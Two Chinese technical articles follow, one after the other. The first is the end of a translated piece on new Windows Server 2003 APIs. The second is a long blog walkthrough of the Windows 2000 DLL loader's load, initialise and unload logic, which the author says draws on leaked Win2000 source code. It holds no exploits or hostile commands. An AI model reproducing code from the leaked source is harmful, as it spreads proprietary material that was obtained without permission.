返回有关系统的事件跟踪提供程序的信息,而您从名称就可以看出 FlushTrace 的功能。

OLE 已经过时

过去,OLE32 和 OLEAUT32 DLL 一直是新 API 和接口的温床。 自从 Windows 2000 推出以来,由于将重心放在 .NET
框架上,它的速度大大降低了。 CoRegisterInitializeSpy 是一个似乎很有趣的新 API。 您提供类型 IInitializeSpy
的接口实现,其方法在注册 spy 的线程上的 CoInitialize(Ex) 和 CoUninitialize 之前和之后调用。

CoGetContextToken API 返回当前上下文的 IObjContext。 令我们感兴趣的原因主要是,该值存储在 TEB 中的
ReservedForOle 字段中,它最后记录在 WINTERNL.H 中。

CoFreeUnusedLibrariesEx 函数类似其前身函数,它增加的功能是,立即释放未使用的库,而不是在默认情况下等待 10 分钟。 最后,新的
CoInvalidateRemoteMachineBindings API 通知 OLE 服务控制管理器刷新所指定计算机的任何缓存远程过程调用的绑定句柄。
除了这几个 API,OLE 中没有什么其他新内容了,OLEAUT32 也是一样。

群集

群集 API 有少量值得一提的新函数。
群集就是使用一个以上的物理资源向外界表示一个逻辑资源、从而使资源(例如,应用程序、硬盘和文件共享)保持高度可用的能力。 新的群集 API 中大多数是我所说的
"EnumCount" 子集。 简单地说,群集对象可分为五种类型: Group、Network、Node、Resource 和 Resource Type。
这些对象可以通过基于句柄的 API 来枚举。 这里提到的新 API(例如,ClusterNodeGetEnumCount)返回枚举句柄表示的对象的数量。

其余两个新 API 是 EvictClusterNodeEx 和 SetClusterServiceAccountPassword。
EvictClusterNodeEx 类似其前身函数,但增加了超时功能。 SetClusterServiceAccountPassword
可更改所有在线节点上的群集服务用户帐户的密码。

实时客户端 API

实时客户端 (RTC) API 有一个很大气的名称,但并没有真实地反映出它的功能。 虽然 RTC API
包括相当多的功能,但我发现很容易将它主要视为即时消息 (IM) API。 有关文档已经大致描述了它的作用,然而我一定要在这里转述一下:

利用 RTC 客户端 API,您能构建可发出 PC 到 PC 的呼叫、PC 到电话的呼叫或电话到电话的呼叫,或在 Internet 上创建 IM
会话的应用程序。 语音呼叫和视频呼叫都可以在 PC 到 PC 的呼叫上建立。 它还支持联系人列表上的“存在”信息。
另外,可以添加应用程序共享和白板,以增强任何会话类型的通信能力。

那么,RTC API 究竟是什么样子呢? 它是基于 COM 的,所以不用感到惊讶。 用于与 RTC API 协同工作的根接口是
IRTCClient,您可以使用 CoCreateInstance 获得该接口。
从该接口可以创建(或提供)其他接口,例如,IRTCSession、IRTCParticipant、IRTCBuddy 和 IRTCProfile 等等。
加在一起,共有二十四个以上的 RTC 接口。 如果您有具体的倾向,可以使用 RTC 接口创建自己的自定义即时消息客户端。

小结

就上述内容来看,很明显,Windows Server 2003 相比 Windows 2000 有了很大的改进。我一向将工作重点放在用户模式的编程
API,但在后台还有性能和可靠性方面的重大变动和新增内容。 就我个人来说,我非常兴奋地看到,向量化异常处理、并行执行以及对调试符号更好的支持等功能,都在朝着
Windows 的方向发展。

我们都知道: Windows XP 是 Microsoft 推出的最新客户端操作系统。 由于 Windows Server 2003 在各方面都涵盖了
Windows XP,您至少可以考虑使用 Windows XP 提供的新 API。 就个人来说,我在自己的一些机器上运行 Windows XP,在其他机器上运行
Windows Server 2003,在日常工作方面,我看不出它们有什么区别。 我希望您着眼于未来,自己努力探索 Windows Server 2003
中的奥秘。

返回页首返回页首

有关背景信息,请参见:

Windows Server 2003

Matt Pietrek 是一位软件架构师兼作家。 他在 Compuware/NuMega 实验室担任 BoundsChecker 和
Distributed Analyzer 产品的首席 架构师。 他已经出版了三本有关 Windows 系统编程的书,并且是 MSDN
Magazine
的特约编辑。 您可以访问他的个人 Web 站点 (http://www.wheaty.net),了解有关以前文章和专栏的常见问题解答和其他信息。

转到原英文页面

Load and Unload

lostall

一、前言

在前一段时间,我遭遇了一个现象诡异的Bug,最后原因归结为在DllMain里错误地调用了FreeLibrary(在本文最后对此Bug有详细的解释)。
MSDN里关于禁止在DllMain里调用LoadLibrary和FreeLibrary的解释过于含糊不清,所以我重温了一遍Russ Osterlund的"Windows 2000 Loader"一文,
并仔细阅读了泄漏的Win2000源代码的相关部分。按照我一贯的习惯,我的阅读过程形成了我这篇文章的主体。
自从我2000年写了"ATL接口映射宏详解"以来,我还没写过这么大块头的文章。
我不知道有多少人耐着性子看完了"ATL接口映射宏详解",我猜想这篇文章的命运也不会比它的前辈好多少。
在这个技术更新越来越快的年代里,人们会对这种陷入实现细节的文章感到厌烦,而我自己在若干年后可能也不会有耐心和勇气面对它,
但文章最后对几个问题的解释也还是有实用价值的,另外寻根究底的精神也总是应该存在的。

二、准备工作

工具

用SourceInsight看Win2000的源代码会比较爽。

WinDbg是调试用的神兵利器,它能显示比VC更多的调试信息,以及一些内部的数据结构,当然你需要先安装与你的OS相符合的调试符号。

GFlag.exe可以设置输出Loader Snap信息,它和WinDbg一起,都在Debugging Tools for Windows包里。

ModuleList是我写的一个小工具,与本文相得益彰。



知识

在开始跟随我的脚步之前,你至少应该先阅读一下"win2k\private\net\sockets\winsock2\dll\include\llist.h"文件。
在这里定义一些非常重要的宏和结构,包括:

        
LIST_ENTRY、FIELD_OFFSET、CONTAINING_RECORD以及双向链表添加删除结点的几个宏。

虽然在好几个文件里有这几个宏的相同定义,但显然这个文件是最好的,因为它有非常详细的注释。
理解LIST_ENTRYCONTAINING_RECORD非常关键,这种简单高效又富于技巧性的双向链表结构遍布于Win2000源码的各个角落之中,
包括与本文密切相关的PEB_LDR_DATA和LDR_DATA_TABLE_ENTRY结构。(在ModuleList中给出了这两个结构的定义)



浏览一遍Russ Osterlund的"Windows 2000 Loader"也是非常必要的,为了避免重复,我省略了一些内容。
不过他的文章也很长,份量很重,看完它需要花费很多心力。



另外你还需要有相当多的PE方面的知识,特别是Import和Export的部分,还有Forward API和binding的概念。



如果做完以上准备工作之后,阅读本文仍然有困难的话,那么非常遗憾,我的写作能力还不足以让你跳过源代码,
还是请你先阅读过win2000的源代码再回来吧,毕竟代码才是最好的文档。(win2000源代码里的注释是1990年,
而Russ Osterlund在2002年给出的伪代码与它高度相似,这是否说明我们现在用的Windows Loader的主干代码在十几年前就已经确立了呢?
这不禁让我有一丝莫名的激动。)

三、Process Initialize

LdrpInitialize is called as a User-Mode APC routine as the first user-mode code executed by a new thread.
不过我们从LdrpInitializeProcess开始研究就已经足够了,并且本文只关注与Dll loader相关的部分。



LdrpInitializeProcess的功能:

This function initializes the loader for the process.

    This includes:

        - Initializing the loader data table

        - Connecting to the loader subsystem

        - Initializing all staticly linked DLLs



(1) 初始化Hash table

    for(i=0;i<LDRP_HASH_TABLE_SIZE;i++) {
InitializeListHead(&LdrpHashTable[i]);
}

LdrpHashTable是全局变量:
#define LDRP_HASH_TABLE_SIZE 32
#define LDRP_HASH_MASK (LDRP_HASH_TABLE_SIZE-1)
#define LDRP_COMPUTE_HASH_INDEX(wch) ( (RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & LDRP_HASH_MASK )
LIST_ENTRY LdrpHashTable[LDRP_HASH_TABLE_SIZE]; // Hash表,每一项是一个双向链表结构
这里采用的是非常简单的Hash算法。

(2) 得到LdrpKnownDllPath

    LdrpKnownDllObjectDirectory是named object"\\KnownDlls"的句柄。
如果打开该对象不成功,则LdrpKnownDllPath默认的就是系统目录,比如:"c:\winnt\system32"
如果打开该对象成功,则在该directory下有一item "KnownDllPath"(a symbolic-link object),用这个值初始化LdrpKnownDllPath。

LdrpKnownDllObjectDirectory和LdrpKnownDllPath是全局变量:
HANDLE LdrpKnownDllObjectDirectory;
UNICODE_STRING LdrpKnownDllPath;

如果不能成功得到LdrpKnownDllPath,则会退出LdrpInitializeProcess函数。

LdrpKnownDllPath将在后面的LdrpCheckForKnownDll函数中被用到。



(3) 初始化Peb->Ldr,参见ModuleList中给出的定义。

    // 在进程堆上为Ldr分配空间
Peb->Ldr = RtlAllocateHeap(Peb->ProcessHeap, MAKE_TAG( LDR_TAG ), sizeof(PEB_LDR_DATA));

Peb->Ldr->Length = sizeof(PEB_LDR_DATA);
Peb->Ldr->Initialized = TRUE;
Peb->Ldr->SsHandle = NULL;
InitializeListHead(&Peb->Ldr->InLoadOrderModuleList);
InitializeListHead(&Peb->Ldr->InMemoryOrderModuleList);
InitializeListHead(&Peb->Ldr->InInitializationOrderModuleList);

(4) 为process image分配第一个loader data table entry,初始化,并加入到list中

    LdrDataTableEntry = LdrpImageEntry = LdrpAllocateDataTableEntry(Peb->ImageBaseAddress);
... 初始化各个成员 ....
LdrpInsertMemoryTableEntry(LdrDataTableEntry); // 将该entry加入到list of loaded modules for this process
LdrDataTableEntry->Flags |= LDRP_ENTRY_PROCESSED;

LdrpInsertMemoryTableEntry函数比它的名字包含了更多的含义,它不仅insert into LoadOrderModuleList和MemoryOrderModuleList,
还insert into HashList:
ULON i = LDRP_COMPUTE_HASH_INDEX(LdrDataTableEntry->BaseDllName.Buffer[0]);
InsertTailList(&LdrpHashTable[i],&LdrDataTableEntry->HashLinks);
InsertTailList(&Ldr->InLoadOrderModuleList, &LdrDataTableEntry->InLoadOrderLinks);
InsertTailList(&Ldr->InMemoryOrderModuleList, &LdrDataTableEntry->InMemoryOrderLinks);

(5) 为ntdll.dll分配第二个loader data table entry,初始化,并加入到list中

对于任何一个进程,ntdll.dll都是第一个被处理的DLL。

    LdrDataTableEntry = LdrpAllocateDataTableEntry(SystemDllBase); // 即ntdll.dll的基地址
... 初始化各个成员 ....
与Process image不同,ntdll.dll会被加入到初始化链表中:
InsertHeadList(&Peb->Ldr->InInitializationOrderModuleList,
&LdrDataTableEntry->InInitializationOrderLinks);
这也是InInitializationOrderModuleList长度总比InLoadOrderModuleList和InMemoryOrderModuleList多1个的原因。

ntdll.dll的一个有趣的事是它的入口点EntryPoint为NULL,所以不会调用_DllMainCRTStartup,所以不会有LDRP_PROCESS_ATTACH_CALLED标志。
用ModuleList.exe会发现所有进程里的ntdll.dll都是如此。

ntdll.dll的另一个特殊之处是它的LoadCount初始为-1,意味着LoadCount永远不会改变。

(6) 加载Process引用的DLLs

    LdrpWalkImportDescriptor(LdrpDefaultPath.Buffer, LdrpImageEntry);
LdrpImageEntry是在前面已经分配过的全局的Process Image的loader data table entry.

LdrpWalkImportDescriptor

        is a recursive routine which walks the Import Descriptor Table and loads each DLL that is referenced.

    if (Bound Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT结构)
{
调用LdrpLoadImportModule(...)装载绑定的Dll,得到该dll的loader data table entry;
如果成功并且该dll是第一次被load,则调用InsertTailList将其加入到InInitializationOrderModuleList的末尾。

if (该dll的时间戮不一致,或者DllBase不是preferred load address)
StaleBinding = TRUE;
else
StaleBinding = FALSE;

while (处理该dll的每一个forwarder dll)
{
调用LdrpLoadImportModule(...)装载forwarder dll;
如果成功并且该dll是第一次被load,则调用InsertTailList将其加入到InInitializationOrderModuleList的末尾。

if (不成功,或者该dll的时间戮不一致,或者DllBase不是preferred load address)
StaleBinding = TRUE;
else
StaleBinding = FALSE;
}

if (StaleBinding == TRUE)
{
Find the unbound import descriptor that matches this bound import descriptor
如果没找到,则返回STATUS_OBJECT_NAME_INVALID,退出

调用LdrpSnapIAT(...)修正IAT表。
}
/* 这一部分的代码现在肯定已经有所变化。通过Russ Osterlund的例子可以发现,如果使用LoadLibrary来load一个Forwarder DLL,
使用GetProcAddress来使用一个Forwarder Function,那么LoadLibrary不会加载Forwarded Dll,只有在GetProcAddress之后,
才会加载Forwarded Dll。这是一种类似Delay-load的机制。
*/

}
}
else if (Regular Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_IMPORT结构)
{
调用LdrpLoadImportModule(...)装载imported dll,得到该dll的loader data table entry;

if (this dll has been bound // 通过timestamp判断,See PE specifications 6.4.1
&& the import date stamp matches the date time stamp in the export modules header
&& and the image was mapped at it's prefered base address)
{
// do nothing
}
else
{
调用LdrpSnapIAT(...)修正IAT表。
}

如果Dll是第一次被load,则调用InsertTailList将其加入到InInitializationOrderModuleList的末尾。
}
}

以下是在不同的情况下输出的Loader Snap信息。
Bound成功的例子:
LDR: KERNEL32.dll bound to NTDLL.DLL
LDR: KERNEL32.dll has correct binding to NTDLL.DLL
Bound不成功的例子:
LDR: SHELL32.dll has stale binding to SHLWAPI.DLL
LDR: Stale Bind SHLWAPI.DLL from SHELL32.dll
Bound里有forward成功的例子:
LDR: GDI32.dll bound to NTDLL.DLL via forwarder(s) from KERNEL32.dll
LDR: GDI32.dll has correct binding to NTDLL.DLL
Bound里有forward不成功的例子:
LDR: WINMM.dll bound to NTDLL.DLL via forwarder(s) from KERNEL32.dll
LDR: WINMM.dll has stale binding to NTDLL.DLL
LDR: Stale Bind KERNEL32.DLL from WINMM.dll

LdrpLoadImportModule: load Imported Dll

    (1) 调用LdrpCheckForLoadedDll(...)检查该Dll是否已经被load。
(2) 若没有,则调用LdrpMapDll(...)将其映射到进程地址空间。
(3) 递归调用LdrpWalkImportDescriptor(...)。
LdrpCheckForLoadedDll和LdrpMapDll这两个函数留到后面再讲。

LdrpSnapIAT:snaps the Import Address Table for this Imported Dll,
overwrites each IAT entry with the actual address of the imported function.

    (1) 通过IMAGE_DIRECTORY_ENTRY_EXPORT得到imported dll的Export Directory指针和大小,它将在LdrpSnapThunk函数中使用。
(2) 通过IMAGE_DIRECTORY_ENTRY_IAT得到IATs表的地址和大小。(每一个imported dll的IAT表在内存中都是连续排列的)
这是一种简便的方法,一下子把整个IAT表的区域的属性都改了,避免了每snap一个thunk修改一次。
(3) 修改IATs的内存保护属性为PAGE_READWRITE。
(4) if (snap forwarded entries only)
{
while (找到每一个forwarder function的thunk)
调用LdrpSnapThunk(...)
}
else
{
while (找到Import Table里的每一个thunk)
调用LdrpSnapThunk(...)
}
(5) 恢复IATs原始的内存保护属性。
(6) 调用NtFlushInstructionCache。这是有必要的,因为IATs一般都在代码段。

LdrpSnapThunk: snaps a thunk using the Imported Dll’s Export Section data.

    (1) if (snap is by ordinal)
{
得到OrindalNumber: = (USHORT)(OriginalOrdinalNumber - ExportDirectory->Base);
}
else
{
如果HintIndex匹配函数名,则可以直接使用它:OrdinalNumber = NameOrdinalTableBase[HintIndex];
否则调用LdrpNameToOrdinal(...)在Name Table中二分查找,然后在NameOrdinal Table得到对应OrdinalNumber
}
(2) 根据得到的OrdinalNumber,在Export Address Table(EAT)中找到对应的API的偏移地址。
该偏移地址再加上Dll的基地址就是该函数在内存中的实际地址。
然后用它更新IAT Thunk Entry。
(3) (参考PE specifications中的6.3.2节)
if (函数地址在export section内)
{
说明这个函数是一个Forwarder Function,那么上面得到的该函数的地址实际上指向一个ASCII string,
形式如:"NTDLL.RtlAllocateHeap" (by name) 或者 "MYDLL.#27" (by ordinal) 。

从这个字符串中解析出Forwarded Dll的名字,然后调用LdrpLoadDll(...)函数装载它。
然后调用LdrpGetProcedureAddress(...)函数得到函数的实际地址,并更新IAT Thunk。
}

(7) 调用LdrpUpdateLoadCount增加process image及它引用的dll的引用计数

LdrpUpdateLoadCount:递归函数,增加或减少Dll以及它引用的所有Dll的引用计数:

    if (Module is loading)
{
设置相应的LDRP_LOAD_IN_PROGRESS标志,该标志表示dll正在被loading,将在LdrpClearLoadInProgress(...)被清除。
}
else // (Module is unloading)
{
设置相应的LDRP_UNLOAD_IN_PROGRESS标志,该标志表示dll正在被unloading,将在LdrUnloadDll(...)中被清除。
}

if (Bound Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT结构)
{
调用LdrpCheckForLoadedDll(...)检查imported dll是否已经被加载。
if (该imported dll的引用计数 != -1)
{
if (reference)
引用计数加1
else // dereference
引用计数减1
}
对这个imported dll递归调用LdrpUpdateLoadCount(...)
}
}
else if (Regular Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_IMPORT结构)
{
调用LdrpCheckForLoadedDll(...)检查imported dll是否已经被加载。
if (该imported dll的引用计数 != -1)
{
if (reference)
引用计数加1
else // dereference
引用计数减1
}
对这个imported dll递归调用LdrpUpdateLoadCount(...)
}
}

(8) Lock the loaded DLLs to prevent dlls that back link to the exe to cause problems when they are unloaded.

    while (从前向后遍历InLoadOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
LoadCount = -1 ;
这表明进程的每一个static link的dll的LoadCount都为-1。
从上面的LdrpUpdateLoadCount的伪代码可以看出,LoadCount为-1标志着该dll的引用计数永远不会改变,
不会因为LoadLibrary和FreeLibrary而增加或减小。
}

(9) 此时进程隐式链接的DLLs都已经映像到内存中

    if (the process is being debugged)
{
DbgBreakPoint() ; // 这就是著名的Loader Breakpoint。
}

Debugger的作者需要注意的是,在Loader Breakpoint之前,staticly linked dlls虽然都已经被load,但并没有被初始化(意即没有调用_DllMainCRTStartup)。
用WinDbg的!dlls命令,或者我的ModuleList程序都可以看出这点:

这些static link DLL的标志均为:LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_LOAD_IN_PROGRESS。



(10)调用LdrpRunInitializeRoutines,初始化每个dll。

LdrpRunInitializeRoutines:调用每一个已经被映射到内存但又没初始化的Dll的Entry Point。

    (1) 调用LdrpClearLoadInProgress(...),清除LDRP_LOAD_IN_PROGRESS,并返回需要调用初始化函数的模块个数。
NumberOfRoutines = LdrpClearLoadInProgress();
(2) 在进程堆上创建一个数组,其成员是将要调用初始化函数的模块所对应的PLDR_DATA_TABLE_ENTRY指针。
PLDR_DATA_TABLE_ENTRY *LdrDataTableBase = RtlAllocateHeap( , , NumberOfRoutines * sizeof(PLDR_DATA_TABLE_ENTRY)) ;
(3) while (从前向后遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
if (EntryPoint不为NULL && 没有设置LDRP_ENTRY_PROCESSED标志(即entry hasn't been processed))
LdrDataTableBase[i++] = LdrDataTableEntry; // 将其将加入LdrDataTableBase中
LdrDataTableEntry->Flags |= LDRP_ENTRY_PROCESSED; // 注意此时还没有调用Entry Point函数
}
(4) while (遍历LdrDataTableBase数组中的每一项)
{
判断是否需要"BreakOnDllLoad" ;
我对BreakOnDllLoad没什么兴趣,就此略过。感兴趣的话可以看看Matt Pietrek的"Under the Hood", 1999-09

if (InitRoutine) // 如果需要初始化
{
if (the DLL has TLS data)
调用LdrpCallTlsInitializers(,DLL_PROCESS_ATTACH) ;

调用LdrpCallInitRoutine(,,DLL_PROCESS_ATTACH,)函数,一般是调用Dll的入口点函数_DllMainCRTStartup。
LdrpCallInitRoutine是用汇编写的,不过并无特殊之处。只是在Call指令之前调用
mov esi,esp ; save the stack pointer in esi across the call
在Call结束后调用
mov esp,esi ; restore the stack pointer in case callee forgot to clean up
不知道这种设计有什么特别的好处?

LdrDataTableEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED; // 标识完成初始化

if (Entry Point函数返回FALSE)
退出,返回STATUS_DLL_INIT_FAILED; // 这说明如果有一个Dll初始化失败,则退出整个加载过程
}
}
(5) if (the process image has tls)
调用LdrpCallTlsInitializers(,DLL_PROCESS_ATTACH) ;

LdrpClearLoadInProgress:清除LDRP_LOAD_IN_PROGRESS标志

    (1) count = 0 ;    // 初始化计数器
(2) while (从前向后遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
清除LDRP_LOAD_IN_PROGRESS标志;
if (EntryPoint不为NULL && 没有设置LDRP_ENTRY_PROCESSED标志(即entry hasn't been processed))
++count ;
}
(3) return count ;

四、Process Shutdown

下面我们开始研究进程结束时Dll是如何卸载的,从下面的堆栈中可以确定我们的旅程将从LdrShutdownProcess开始:

    ntdll!LdrShutdownProcess
KERNEL32!ExitProcess+0x51
Test!doexit+0xd5 [crt0dat.c @ 392]
Test!exit+0x10 [crt0dat.c @ 279]
Test!mainCRTStartup+0xf8 [crt0.c @ 212]
KERNEL32!BaseProcessStart+0x3d

LdrShutdownProcess

      This function is called by a process that is terminating cleanly.

      It’s purpose is to call all of the processes DLLs to notify them that the process is detaching.

    (1) 沿着初始化方向的反方向
while (从后向前遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
if (EntryPoint不为NULL && 设置了LDRP_PROCESS_ATTACH_CALLED标志(即the dll has been initialized))
{
if (the DLL has TLS data)
调用LdrpCallTlsInitializers(,DLL_PROCESS_DETACH) ;

调用LdrpCallInitRoutine(,,DLL_PROCESS_DETACH,)函数
}
}
(2) if (the process image has tls)
调用LdrpCallTlsInitializers(,DLL_PROCESS_DETACH) ;

原来进程结束时只是依次调用Dll的DllMain函数,并没有把它从内存中卸载(UnmapView)。

五、LoadLibraryEx

进程初始化里是加载静态链接的DLLs,下面要学习动态加载Dll(LoadLibraryEx)的代码。关于这部分内容,Russ Osterlund的"Win2000 Loader"里有非常详尽的描述,我也没必要重复。
这里我只写出LdrpCheckForLoadedDll和LdrpMapDll两个函数的算法思想:



LdrpCheckForLoadedDll:

      This function scans the loader data table looking to see if the specified DLL has already been mapped into the image. If

      the dll has been loaded, the address of its data table entry is returned.

    (1) if (StaticLink) 
{
在哈希表LdrpHashTable中查找Dll,如果找到则返回TRUE,否则则返回FALSE
}
(2) if (Dll的名字中没有包含路径)
{
StaticLink = TRUE;
返回(1)
}
(3) 调用RtlDosSearchPath_U(...)得到Dll的全路径
(4) while (从前向后遍历InLoadOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
// when we unload, the memory order links flink field is nulled.
// this is used to skip the entry pending list removal.
if ( !Entry->InMemoryOrderLinks.Flink )
continue;
关于InMemoryOrderLinks.Flink为NULL的情况,留到LdrUnloadDll再讲。

比较FullDllName,如果匹配,则退出循环
}
(5) if (没找到)
{
这部分代码不是很明白,我也不是很关心。大概意思是把Dll映射到内存中,然后再遍历InLoadOrderModuleList表,
比较TimeDateStamp,SizeOfImage以及整个file header和optional header,如果都匹配,则说明找到,成功返回。
}

我不是很明白这个函数的代码为什么这么写,Russ Osterlund的代码也不是很清晰。

如果是我写,我就只比较LdrpHashTable哈希表。如果Dll没有包含路径,就比较BaseDllName,否则就比较FullDllName。

为什么还要找InLoadOrderModuleList,它和LdrpHashTable有什么不一致吗?



LdrpMapDll:This routine maps the DLL into the users address space.

    (1) if (LdrpKnownDllObjectDirectory != NULL && DllName中没有包含路径)
{
调用LdrpCheckForKnownDll(...)函数,检查该Dll是否是一个Known Dll,
如果是则调用NtOpenSection返回Dll的Section Handle,并跳到第(5)步。
}
LdrpKnownDllObjectDirectory和LdrpKnownDllPath在LdrpInitializeProcess中的第2步得到。
(2) 调用LdrpResolveDllName(...)函数,得到Dll的FullPathName和BaseDllName。
(3) 调用RtlDosPathNameToNtPathName_U(...)函数,将Dos pathname转换成NT style pathname。
(4) 调用LdrpCreateDllSection(...)函数,得到Dll的Section Handle。
(5) 调用NtMapViewOfSection(...)函数,将Dll映射到进程的地址空间。
(6) 调用LdrpAllocateDataTableEntry(...)函数,分配一个loader data table entry。
Entry = LdrpAllocateDataTableEntry(ViewBase);
并初始化Entry中各项:
......
Entry->EntryPoint = LdrpFetchAddressOfEntryPoint(Entry->DllBase); // 得到Dll的入口点
(7) 调用LdrpInsertMemoryTableEntry(...)函数,将该entry加入到list of loaded modules for this process
在LdrpInitializeProcess中的第4步已经详细介绍了LdrpInsertMemoryTableEntry()所做的工作。
(8) 剩下的大部分代码与基址重定位有关,将之略去。

六、FreeLibrary

下面来学习动态卸载Dll(FreeLibrary)的代码。
FreeLibrary会导致调用LdrUnloadDll函数,相比较LdrLoadDll,它要简单得多。



LdrUnloadDll:

    (1) 如果进程正在关闭中,立即返回。
(2) 调用LdrpCheckForLoadedDllHandle(...),判断Dll是否存在,如果存在则返回它的LdrDataTableEntry。
(3) if (LdrDataTableEntry->LoadCount != -1)
{
LdrDataTableEntry->LoadCount--;
if (module是Image Dll)
调用LdrpUpdateLoadCount(...)函数,减少它所引用的Dll的LoadCount。
}
else
{
LoadCount等于-1说明这是进程静态链接的Dll,直接退出。
}
(4) 初始化双向链表LdrpUnloadHead。LdrpUnloadHead是个全局变量。
InitializeListHead(&LdrpUnloadHead);
(5) 沿着初始化方向的反方向建立unload list
while (从后向前遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
if (LoadCount == 0) // 引用计数为0表明该dll可以被卸载
{
RemoveEntryList(&Entry->InInitializationOrderLinks); // 从InInitializationOrderModuleList表中删除
RemoveEntryList(&Entry->InMemoryOrderLinks); // 从InMemoryOrderList表中删除
RemoveEntryList(&Entry->HashLinks); // 从Hash表中删除

InsertTailList(&LdrpUnloadHead,&Entry->HashLinks); // 将该entry插入到LdrpUnloadHead表的末尾
}
}
(6) 初始化局部的unload list。
InitializeListHead(&LocalUnloadHead);
(7) while (从前向后遍历LdrpUnloadHead链表中的每一项,找到每一个LDR_DATA_TABLE_ENTRY)
{
Entry->InMemoryOrderLinks.Flink = NULL; // 这是个标志,标志dll正在被unload

将dll从global unload list中移走,移入到local unload list中
RemoveEntryList(&Entry->HashLinks);
InsertTailList(&LocalUnloadHead,&Entry->HashLinks);

if (EntryPoint不为NULL && 设置了LDRP_PROCESS_ATTACH_CALLED标志(即the dll has been initialized))
{
调用LdrpCallInitRoutine(,,DLL_PROCESS_DETACH,)函数,执行EntryPoint函数。
}

RemoveEntryList(&Entry->InLoadOrderLinks); // 将其从InLoadOrderList表中删除
}
(8) while (从前向后遍历LocalUnloadHead链表中的每一项,找到每一个LDR_DATA_TABLE_ENTRY)
{
调用NtUnmapViewOfSection(...)函数,unmap在进程空间的映像。

执行一些其他的释放工作。

RtlFreeHeap(Peb->ProcessHeap, 0,Entry); // 释放LDR_DATA_TABLE_ENTRY所占用的内存。
}

LdrUnloadDll里还有一些代码是用于处理在EntryPoint函数里又执行了FreeLibrary的情况,这里没有列出来,因为它会把逻辑搞得更复杂。
不过不要误以为这些代码无足轻重,事实上它们相当重要,在后面会讲到,它们增强了FreeLibrary的安全性。


LdrUnloadDll看上去很简单,但它还是留给了我一些疑惑:

疑惑一:InLoadOrderList和其他List不太一样,是在执行完EntryPoint函数之后才将dll从InLoadOrderList中删除的。
可能是考虑到在EntryPoint函数里可能会执行一些需要用到InLoadOrderList的函数?

疑惑二:为什么要用两个unload list,为什么要将global unload list拷到local unload list?
代码中的注释说这是因为在执行init routine中,global list可能会改变。但这又有什么影响呢?




至此我们已经研究完了有关进程初始化、进程退出、Dll动态装载、Dll动态卸载的代码。现在我们可以根据学到的知识解决一些困惑已久的问题:

问题一

为什么要维护三个双向链表:InLoadOrderModuleList、InMemoryOrderModuleList和InInitializationOrderModuleList?
为什么Dll初始化顺序不同于装载的顺序?

以Russ Osterlund的"Windows 2000 Loader"中带的例子Test为例,下面是从ModuleList中截取的的部分输出:

Ldr.InLoadOrderModuleList: 00131EC0 . 00134590
NO. Module Flags
1 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\debug\Test.exe LDRP_LOAD_IN_PROGRESS | LDRP_ENTRY_PROCESSED
2 C:\WINNT\system32\ntdll.dll LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
3 C:\WINNT\system32\KERNEL32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
4 C:\WINNT\system32\USER32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_DONT_CALL_FOR_THREAD | LDRP_PROCESS_ATTACH_CALLED
5 C:\WINNT\system32\GDI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
6 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
7 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
8 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
9 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\TestDll.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED

Ldr.InMemoryOrderModuleList: 00131EC8 . 00134598
1 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\debug\Test.exe LDRP_LOAD_IN_PROGRESS | LDRP_ENTRY_PROCESSED
2 C:\WINNT\system32\ntdll.dll LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
3 C:\WINNT\system32\KERNEL32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
4 C:\WINNT\system32\USER32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_DONT_CALL_FOR_THREAD | LDRP_PROCESS_ATTACH_CALLED
5 C:\WINNT\system32\GDI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
6 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
7 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
8 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
